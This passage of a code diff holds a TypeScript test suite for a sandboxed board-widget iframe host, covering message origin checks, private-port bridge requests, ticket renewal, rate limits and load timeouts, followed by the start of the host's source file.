channel.port2.start();
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: { type: "openclaw:widget-bridge-port-offer" },
|
||||
ports: [channel.port1],
|
||||
}),
|
||||
);
|
||||
await initialized;
|
||||
return channel.port2;
|
||||
}
|
||||
|
||||
async function sendBridgeRequest(port: MessagePort, request: Record<string, unknown>) {
|
||||
return await new Promise<Record<string, unknown>>((resolve) => {
|
||||
const listener = (event: MessageEvent) => {
|
||||
if (event.data?.type !== "openclaw:widget-bridge-response" || event.data.id !== request.id) {
|
||||
return;
|
||||
}
|
||||
port.removeEventListener("message", listener);
|
||||
resolve(event.data as Record<string, unknown>);
|
||||
};
|
||||
port.addEventListener("message", listener);
|
||||
port.postMessage(request, []);
|
||||
});
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
document.body.replaceChildren();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
describe("BoardWidgetSandboxHost", () => {
|
||||
it("loads ticketed HTML only after the dedicated proxy is ready", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const postMessage = vi.spyOn(frame.contentWindow!, "postMessage");
|
||||
const fetchMock = vi.fn(async () => new Response("<!doctype html><p>weather</p>"));
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
const onLoaded = vi.fn();
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client: { request: vi.fn(async () => ({ ok: true })) },
|
||||
resolveFrameUrl: () => "/__openclaw__/board/weather?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded,
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => expect(onLoaded).toHaveBeenCalledOnce());
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
"https://gateway.example/__openclaw__/board/weather?bt=ticket",
|
||||
{ cache: "no-store" },
|
||||
);
|
||||
expect(postMessage).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
method: "ui/notifications/sandbox-resource-ready",
|
||||
params: { html: "<!doctype html><p>weather</p>" },
|
||||
}),
|
||||
"https://sandbox.example",
|
||||
);
|
||||
});
|
||||
|
||||
it("routes transient document fetch failures through the refresh budget", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("unavailable", { status: 503 })),
|
||||
);
|
||||
const onLoadFailed = vi.fn();
|
||||
const onError = vi.fn();
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client: { request: vi.fn(async () => ({ ok: true })) },
|
||||
resolveFrameUrl: () => "/__openclaw__/board/weather?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed,
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError,
|
||||
});
|
||||
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => expect(onLoadFailed).toHaveBeenCalledWith(widget()));
|
||||
expect(onError).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("injects the active view ticket only after the current document is loaded", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><p>weather</p>")),
|
||||
);
|
||||
const onLoaded = vi.fn();
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
resolveFrameUrl: () => "/widget",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded,
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(onLoaded).toHaveBeenCalledOnce());
|
||||
const hostMessage = vi.fn();
|
||||
await offerBridgePort(host, frame, hostMessage);
|
||||
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: { type: "openclaw:widget-bridge-ready" },
|
||||
}),
|
||||
);
|
||||
|
||||
expect(hostMessage).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
data: { type: "openclaw:widget-host-init", ticket: "ticket" },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("drops a bridge response after the widget document is replaced", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const postMessage = vi.spyOn(frame.contentWindow!, "postMessage");
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><p>weather</p>")),
|
||||
);
|
||||
let resolveRequest: (value: unknown) => void = () => {};
|
||||
const client = {
|
||||
request: vi.fn(
|
||||
async () =>
|
||||
await new Promise<unknown>((resolve) => {
|
||||
resolveRequest = resolve;
|
||||
}),
|
||||
),
|
||||
};
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client,
|
||||
resolveFrameUrl: () => "/widget",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(baseOptions.onLoaded).toHaveBeenCalledOnce());
|
||||
const bridgePort = await offerBridgePort(host, frame);
|
||||
const bridgeResponse = vi.fn();
|
||||
bridgePort.addEventListener("message", bridgeResponse);
|
||||
postMessage.mockClear();
|
||||
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "old-request",
|
||||
method: "data.read",
|
||||
params: { bindingId: "health" },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() => expect(client.request).toHaveBeenCalledOnce());
|
||||
host.update({
|
||||
...baseOptions,
|
||||
widget: { ...widget(), revision: 3, viewTicket: "next-ticket" },
|
||||
});
|
||||
resolveRequest({ sensitive: "old grant result" });
|
||||
await Promise.resolve();
|
||||
await Promise.resolve();
|
||||
|
||||
expect(bridgeResponse).not.toHaveBeenCalled();
|
||||
expect(postMessage).not.toHaveBeenCalledWith(
|
||||
{ type: "openclaw:widget-host-init", ticket: "next-ticket" },
|
||||
"https://sandbox.example",
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts bridge requests only on the wrapper-owned private port", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><button>prompt</button>")),
|
||||
);
|
||||
const client = {
|
||||
request: vi.fn(async (method: string) =>
|
||||
method === "board.prompt.authorize" ? { confirmationRequired: false } : { ok: true },
|
||||
),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client,
|
||||
resolveFrameUrl: () => "/widget",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
});
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(fetch).toHaveBeenCalledOnce());
|
||||
const promptRequest = {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "prompt-request",
|
||||
method: "prompt.send",
|
||||
params: { text: "Injected" },
|
||||
ticket: "ticket",
|
||||
};
|
||||
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: promptRequest,
|
||||
}),
|
||||
);
|
||||
await Promise.resolve();
|
||||
expect(client.request).not.toHaveBeenCalled();
|
||||
|
||||
const bridgePort = await offerBridgePort(host, frame);
|
||||
bridgePort.postMessage(promptRequest, []);
|
||||
await vi.waitFor(() =>
|
||||
expect(client.request).toHaveBeenCalledWith("board.prompt.authorize", {
|
||||
ticket: "ticket",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("scopes prompt rate limits to the board source and view generation", async () => {
|
||||
const sessionPrefix = `session-${crypto.randomUUID()}`;
|
||||
let activeFrame: HTMLIFrameElement | null = null;
|
||||
Object.defineProperty(document, "activeElement", {
|
||||
get: () => activeFrame,
|
||||
configurable: true,
|
||||
});
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><button>prompt</button>")),
|
||||
);
|
||||
const setup = async (sessionId: string, viewGeneration: string) => {
|
||||
const frame = document.createElement("iframe");
|
||||
frame.checkVisibility = () => true;
|
||||
document.body.append(frame);
|
||||
const loaded = vi.fn();
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: { ...widget(), viewGeneration },
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client: {
|
||||
request: vi.fn(async (method: string) =>
|
||||
method === "board.prompt.authorize" ? { confirmationRequired: false } : { ok: true },
|
||||
),
|
||||
},
|
||||
resolveFrameUrl: () => `/__openclaw__/board/${sessionId}/weather/index.html?bt=ticket`,
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: loaded,
|
||||
onError: vi.fn(),
|
||||
});
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(loaded).toHaveBeenCalledOnce());
|
||||
return { frame, port: await offerBridgePort(host, frame) };
|
||||
};
|
||||
const first = await setup(`${sessionPrefix}-a`, "a".repeat(32));
|
||||
activeFrame = first.frame;
|
||||
for (let index = 0; index < 10; index += 1) {
|
||||
await expect(
|
||||
sendBridgeRequest(first.port, {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: `first-${index}`,
|
||||
method: "prompt.send",
|
||||
params: { text: `Prompt ${index}` },
|
||||
ticket: "ticket",
|
||||
}),
|
||||
).resolves.toMatchObject({ ok: true });
|
||||
}
|
||||
|
||||
const otherSession = await setup(`${sessionPrefix}-b`, "a".repeat(32));
|
||||
activeFrame = otherSession.frame;
|
||||
await expect(
|
||||
sendBridgeRequest(otherSession.port, {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "other-session",
|
||||
method: "prompt.send",
|
||||
params: { text: "Independent session" },
|
||||
ticket: "ticket",
|
||||
}),
|
||||
).resolves.toMatchObject({ ok: true });
|
||||
|
||||
const recreated = await setup(`${sessionPrefix}-a`, "b".repeat(32));
|
||||
activeFrame = recreated.frame;
|
||||
await expect(
|
||||
sendBridgeRequest(recreated.port, {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "recreated-view",
|
||||
method: "prompt.send",
|
||||
params: { text: "Independent generation" },
|
||||
ticket: "ticket",
|
||||
}),
|
||||
).resolves.toMatchObject({ ok: true });
|
||||
delete (document as unknown as Record<string, unknown>).activeElement;
|
||||
});
|
||||
|
||||
it("keeps the adopted ticket valid until the wrapper acknowledges a renewal", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><p>weather</p>")),
|
||||
);
|
||||
let resolveRead: (value: unknown) => void = () => {};
|
||||
const client = {
|
||||
request: vi.fn(async (method: string) => {
|
||||
if (method === "board.data.read") {
|
||||
return await new Promise<unknown>((resolve) => {
|
||||
resolveRead = resolve;
|
||||
});
|
||||
}
|
||||
return { ok: true };
|
||||
}),
|
||||
};
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client,
|
||||
resolveFrameUrl: () => "/widget?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(baseOptions.onLoaded).toHaveBeenCalledOnce());
|
||||
const bridgePort = await offerBridgePort(host, frame);
|
||||
const responses: unknown[] = [];
|
||||
let renewalTicket = "";
|
||||
bridgePort.addEventListener("message", (event) => {
|
||||
if (event.data?.type === "openclaw:widget-host-init") {
|
||||
renewalTicket = event.data.ticket;
|
||||
} else if (event.data?.type === "openclaw:widget-bridge-response") {
|
||||
responses.push(event.data);
|
||||
}
|
||||
});
|
||||
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "in-flight",
|
||||
method: "data.read",
|
||||
params: { bindingId: "health" },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() => expect(client.request).toHaveBeenCalledTimes(1));
|
||||
host.update({
|
||||
...baseOptions,
|
||||
widget: { ...widget(), viewTicket: "renewed-ticket" },
|
||||
resolveFrameUrl: () => "/widget?bt=renewed-ticket",
|
||||
});
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "before-ack",
|
||||
method: "state.emit",
|
||||
params: { payload: { phase: "renewing" } },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() => expect(client.request).toHaveBeenCalledTimes(2));
|
||||
await vi.waitFor(() => expect(renewalTicket).toBe("renewed-ticket"));
|
||||
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-host-init-ack",
|
||||
ticket: renewalTicket,
|
||||
},
|
||||
[],
|
||||
);
|
||||
resolveRead({ status: "healthy" });
|
||||
await vi.waitFor(() =>
|
||||
expect(responses).toContainEqual(expect.objectContaining({ id: "in-flight", ok: true })),
|
||||
);
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "after-ack",
|
||||
method: "state.emit",
|
||||
params: { payload: { phase: "renewed" } },
|
||||
ticket: "renewed-ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() => expect(client.request).toHaveBeenCalledTimes(3));
|
||||
expect(client.request).toHaveBeenNthCalledWith(2, "board.event", {
|
||||
ticket: "ticket",
|
||||
payload: { phase: "renewing" },
|
||||
});
|
||||
expect(client.request).toHaveBeenNthCalledWith(3, "board.event", {
|
||||
ticket: "renewed-ticket",
|
||||
payload: { phase: "renewed" },
|
||||
});
|
||||
});
|
||||
|
||||
it("cancels in-flight requests when the Gateway client is replaced", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn(async () => new Response("<!doctype html><p>weather</p>")),
|
||||
);
|
||||
let resolveOldRequest: (value: unknown) => void = () => {};
|
||||
const oldClient = {
|
||||
request: vi.fn(
|
||||
async () =>
|
||||
await new Promise<unknown>((resolve) => {
|
||||
resolveOldRequest = resolve;
|
||||
}),
|
||||
),
|
||||
};
|
||||
const newClient = { request: vi.fn(async () => ({ ok: true })) };
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client: oldClient,
|
||||
resolveFrameUrl: () => "/widget?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(baseOptions.onLoaded).toHaveBeenCalledOnce());
|
||||
const bridgePort = await offerBridgePort(host, frame);
|
||||
const responses: unknown[] = [];
|
||||
bridgePort.addEventListener("message", (event) => {
|
||||
if (event.data?.type === "openclaw:widget-bridge-response") {
|
||||
responses.push(event.data);
|
||||
}
|
||||
});
|
||||
|
||||
bridgePort.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "old-client",
|
||||
method: "data.read",
|
||||
params: { bindingId: "health" },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() => expect(oldClient.request).toHaveBeenCalledOnce());
|
||||
host.update({ ...baseOptions, client: newClient });
|
||||
await vi.waitFor(() =>
|
||||
expect(responses).toContainEqual({
|
||||
type: "openclaw:widget-bridge-response",
|
||||
id: "old-client",
|
||||
ok: false,
|
||||
error: "Gateway connection changed",
|
||||
}),
|
||||
);
|
||||
resolveOldRequest({ private: "old-context" });
|
||||
await Promise.resolve();
|
||||
await Promise.resolve();
|
||||
expect(responses).not.toContainEqual(expect.objectContaining({ id: "old-client", ok: true }));
|
||||
|
||||
await expect(
|
||||
sendBridgeRequest(bridgePort, {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "new-client",
|
||||
method: "state.emit",
|
||||
params: { payload: { phase: "reconnected" } },
|
||||
ticket: "ticket",
|
||||
}),
|
||||
).resolves.toMatchObject({ id: "new-client", ok: true });
|
||||
expect(newClient.request).toHaveBeenCalledWith("board.event", {
|
||||
ticket: "ticket",
|
||||
payload: { phase: "reconnected" },
|
||||
});
|
||||
});
|
||||
|
||||
it("reloads equal-name revisions when their board session identity changes", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const postMessage = vi.spyOn(frame.contentWindow!, "postMessage");
|
||||
const fetchMock = vi.fn(async () => new Response("<!doctype html><p>session</p>"));
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
const onLoaded = vi.fn();
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
client: { request: vi.fn(async () => ({ ok: true })) },
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session-a/weather/index.html?bt=one",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded,
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(onLoaded).toHaveBeenCalledOnce());
|
||||
postMessage.mockClear();
|
||||
|
||||
host.update({
|
||||
...baseOptions,
|
||||
widget: { ...widget(), viewTicket: "next-ticket" },
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session-b/weather/index.html?bt=two",
|
||||
});
|
||||
|
||||
expect(postMessage).not.toHaveBeenCalledWith(
|
||||
{ type: "openclaw:widget-host-init", ticket: "next-ticket" },
|
||||
"https://sandbox.example",
|
||||
);
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalledTimes(2));
|
||||
});
|
||||
|
||||
it("waits for the exact sandbox CSP navigation before delivering replacement HTML", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const wideSandboxUrl = `${SANDBOX_URL}?csp=wide`;
|
||||
const narrowSandboxUrl = `${SANDBOX_URL}?csp=narrow`;
|
||||
const fetchMock = vi.fn(async () => new Response("<!doctype html><p>policy</p>"));
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: wideSandboxUrl,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session/weather/index.html?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
const ready = (sandboxUrl: string) =>
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl },
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
ready(wideSandboxUrl);
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalledOnce());
|
||||
host.update({
|
||||
...baseOptions,
|
||||
sandboxUrl: narrowSandboxUrl,
|
||||
widget: {
|
||||
...widget(),
|
||||
revision: 3,
|
||||
viewTicket: "replacement-ticket",
|
||||
viewGeneration: "b".repeat(32),
|
||||
},
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session/weather/index.html?bt=replacement-ticket",
|
||||
});
|
||||
|
||||
ready(wideSandboxUrl);
|
||||
await Promise.resolve();
|
||||
expect(fetchMock).toHaveBeenCalledOnce();
|
||||
|
||||
ready(narrowSandboxUrl);
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalledTimes(2));
|
||||
});
|
||||
|
||||
it("reloads a deleted and recreated widget without reloading routine ticket renewals", async () => {
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const fetchMock = vi.fn(async () => new Response("<!doctype html><p>generation</p>"));
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
const onLoaded = vi.fn();
|
||||
const baseOptions = {
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session/weather/index.html?bt=ticket",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout: vi.fn(),
|
||||
onLoaded,
|
||||
onError: vi.fn(),
|
||||
};
|
||||
const host = new BoardWidgetSandboxHost(baseOptions);
|
||||
host.handleMessage(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: "https://sandbox.example",
|
||||
data: {
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: SANDBOX_URL },
|
||||
},
|
||||
}),
|
||||
);
|
||||
await vi.waitFor(() => expect(onLoaded).toHaveBeenCalledOnce());
|
||||
|
||||
host.update({
|
||||
...baseOptions,
|
||||
widget: { ...widget(), viewTicket: "renewed-ticket" },
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session/weather/index.html?bt=renewed-ticket",
|
||||
});
|
||||
await Promise.resolve();
|
||||
expect(fetchMock).toHaveBeenCalledOnce();
|
||||
|
||||
host.update({
|
||||
...baseOptions,
|
||||
widget: {
|
||||
...widget(),
|
||||
viewTicket: "replacement-ticket",
|
||||
viewGeneration: "b".repeat(32),
|
||||
},
|
||||
resolveFrameUrl: () => "/__openclaw__/board/session/weather/index.html?bt=replacement-ticket",
|
||||
});
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalledTimes(2));
|
||||
});
|
||||
|
||||
it("bounds missing proxy readiness and stops the timer on disposal", async () => {
|
||||
vi.useFakeTimers();
|
||||
const frame = document.createElement("iframe");
|
||||
document.body.append(frame);
|
||||
const onReadyTimeout = vi.fn();
|
||||
const host = new BoardWidgetSandboxHost({
|
||||
frame,
|
||||
widget: widget(),
|
||||
sandboxOrigin: "https://sandbox.example",
|
||||
sandboxUrl: SANDBOX_URL,
|
||||
sourceOrigin: "https://gateway.example",
|
||||
resolveFrameUrl: () => "/widget",
|
||||
confirmPrompt: () => true,
|
||||
onFrameUrl: vi.fn(),
|
||||
onLoadFailed: vi.fn(),
|
||||
onUnauthorized: vi.fn(),
|
||||
onReadyTimeout,
|
||||
onLoaded: vi.fn(),
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
await vi.advanceTimersByTimeAsync(10_000);
|
||||
expect(onReadyTimeout).toHaveBeenCalledOnce();
|
||||
expect(frame.src).toBe(SANDBOX_URL);
|
||||
const reloadSpy = vi.spyOn(frame, "src", "set");
|
||||
await vi.advanceTimersByTimeAsync(10_000);
|
||||
expect(reloadSpy).toHaveBeenCalledWith(SANDBOX_URL);
|
||||
expect(onReadyTimeout).toHaveBeenCalledTimes(2);
|
||||
host.dispose();
|
||||
await vi.advanceTimersByTimeAsync(20_000);
|
||||
expect(onReadyTimeout).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,385 @@
|
||||
import type { BoardViewWidget, BoardWidgetFrameUrl } from "./view-types.ts";
|
||||
import {
|
||||
BoardWidgetBridgeController,
|
||||
type BoardWidgetBridgeGatewayClient,
|
||||
isBoardWidgetBridgeRequest,
|
||||
} from "./widget-bridge.ts";
|
||||
|
||||
const SANDBOX_READY_TIMEOUT_MS = 10_000;
|
||||
|
||||
type BoardWidgetSandboxHostOptions = {
|
||||
frame: HTMLIFrameElement;
|
||||
widget: BoardViewWidget;
|
||||
